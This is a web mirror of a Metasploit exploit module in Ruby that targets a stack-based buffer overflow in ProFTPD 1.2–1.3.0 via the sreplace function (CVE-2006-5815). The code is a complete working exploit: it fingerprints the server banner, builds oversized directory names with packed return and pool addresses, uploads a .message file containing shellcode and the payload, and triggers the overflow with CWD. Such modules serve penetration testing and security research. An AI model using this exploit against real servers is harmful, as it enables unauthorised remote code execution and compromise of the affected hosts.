CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ftp/proftp_sreplace.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
14
'Description' => %q{
15
This module exploits a stack-based buffer overflow in versions 1.2 through
16
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
17
within the "src/support.c" file.
18
19
The off-by-one heap overflow bug in the ProFTPD sreplace function has been
20
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
21
this off-by-one bug via MKD command, but failed. We did not work on this bug
22
since then.
23
24
Actually, there are exists at least two bugs in sreplace function, one is the
25
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
26
via 'sstrncpy(dst,src,negative argument)'.
27
28
We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
29
version, but the version 1.3.0rc3 introduced some interesting changes, among them:
30
31
1. another (integer) overflow in sreplace!
32
2. now it is possible to reach sreplace stack-based buffer overflow bug via
33
the "pr_display_file" function!
34
3. stupid '.message' file display bug
35
36
So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
37
To reach the bug, you need to upload a specially created .message file to a
38
writeable directory, then do "CWD <writeable directory>" to trigger the invocation
39
of sreplace function.
40
41
Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
42
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
43
44
The exploit is a part of VulnDisco Pack since Dec 2005.
45
},
46
'Author' =>
47
[
48
'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
49
'jduck' # Metasploit 3.x port
50
],
51
'References' =>
52
[
53
[ 'CVE', '2006-5815' ],
54
[ 'OSVDB', '68985' ],
55
[ 'BID', '20992' ],
56
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/94' ],
57
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/538' ],
58
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
59
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
60
],
61
'DefaultOptions' =>
62
{
63
'EXITFUNC' => 'process',
64
'PrependChrootBreak' => true
65
},
66
'Privileged' => true,
67
'Payload' =>
68
{
69
'Space' => 900,
70
'BadChars' => "\x00\x0a\x0d\x25",
71
'DisableNops' => 'True',
72
},
73
'Platform' => [ 'linux' ],
74
'Targets' =>
75
[
76
#
77
# Automatic targeting via fingerprinting
78
#
79
[ 'Automatic Targeting', { 'auto' => true } ],
80
81
#
82
# This special one comes first since we dont want its index changing.
83
#
84
[ 'Debug',
85
{
86
'Ret' => 0x41414242,
87
'PoolAddr' => 0x43434545
88
}
89
],
90
91
#
92
# specific targets
93
#
94
95
[ "ProFTPD 1.3.0 (source install) / Debian 3.1",
96
{
97
# objdump -D proftpd|grep call|grep edx
98
'Ret' => 0x804afc8, # call edx
99
# nm proftpd|grep permanent_pool
100
'PoolAddr' => 0x80b59f8
101
}
102
]
103
104
],
105
'DefaultTarget' => 0,
106
'DisclosureDate' => '2006-11-26'))
107
108
register_options(
109
[
110
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
111
])
112
end
113
114
115
def check
116
# NOTE: We don't care if the login failed here...
117
ret = connect
118
119
# We just want the banner to check against our targets..
120
vprint_status("FTP Banner: #{banner.strip}")
121
122
status = CheckCode::Safe
123
124
if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
125
ver = $1
126
maj,min,rel = ver.split('.')
127
relv = rel.slice!(0,1)
128
case relv
129
when '2'
130
status = CheckCode::Appears
131
132
when '3'
133
# 1.3.x before 1.3.1 is vulnerable
134
status = CheckCode::Appears
135
if rel.length > 0
136
if rel.to_i > 0
137
status = CheckCode::Safe
138
else
139
status = CheckCode::Appears
140
end
141
end
142
end
143
end
144
145
disconnect
146
return status
147
end
148
149
150
def exploit
151
connect_login
152
153
# Use a copy of the target
154
mytarget = target
155
156
if (target['auto'])
157
mytarget = nil
158
159
print_status("Automatically detecting the target...")
160
if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
161
print_status("FTP Banner: #{banner.strip}")
162
version = m[1]
163
else
164
fail_with(Failure::NoTarget, "No matching target")
165
end
166
167
regexp = Regexp.escape(version)
168
self.targets.each do |t|
169
if (t.name =~ /#{regexp}/) then
170
mytarget = t
171
break
172
end
173
end
174
175
if (not mytarget)
176
fail_with(Failure::NoTarget, "No matching target")
177
end
178
179
print_status("Selected Target: #{mytarget.name}")
180
else
181
print_status("Trying target #{mytarget.name}...")
182
if banner
183
print_status("FTP Banner: #{banner.strip}")
184
end
185
end
186
187
#puts "attach and press any key"; bleh = $stdin.gets
188
res = send_cmd(['CWD', datastore['WRITABLE']])
189
190
pwd = send_cmd(['PWD'])
191
if pwd !~ /257\s\"(.+)\"/
192
fail_with(Failure::Unknown, "Unable to get current working directory")
193
end
194
pwd = $1
195
pwd << "/" if pwd[-1,1] != "/"
196
197
dir1 = "A" * (251 - pwd.length)
198
res = send_cmd(['MKD', dir1])
199
200
res = send_cmd(['CWD', dir1])
201
202
res = send_cmd(['PWD'])
203
204
dir2 = "B" * 64
205
dir2 << [mytarget.ret].pack('V')
206
dir2 << [mytarget['PoolAddr'] - 4].pack('V')
207
dir2 << "\xcc" * 28
208
209
res = send_cmd(['DELE', "#{dir2}/.message"])
210
res = send_cmd(['DELE', "250"])
211
res = send_cmd(['RMD', dir2])
212
213
filedata = ''
214
filedata << 'A'
215
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
216
filedata << "\x25C" * 11
217
filedata << 'A'
218
filedata << payload.encoded
219
filedata << rand_text_alphanumeric(900 - payload.encoded.length)
220
filedata << "\x25\x43\x41" * 10
221
222
res = send_cmd(['MKD', dir2])
223
res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')
224
225
# Trigger sreplace overflow
226
res = send_cmd(['CWD', dir2])
227
228
handler
229
disconnect
230
231
end
232
end
233
234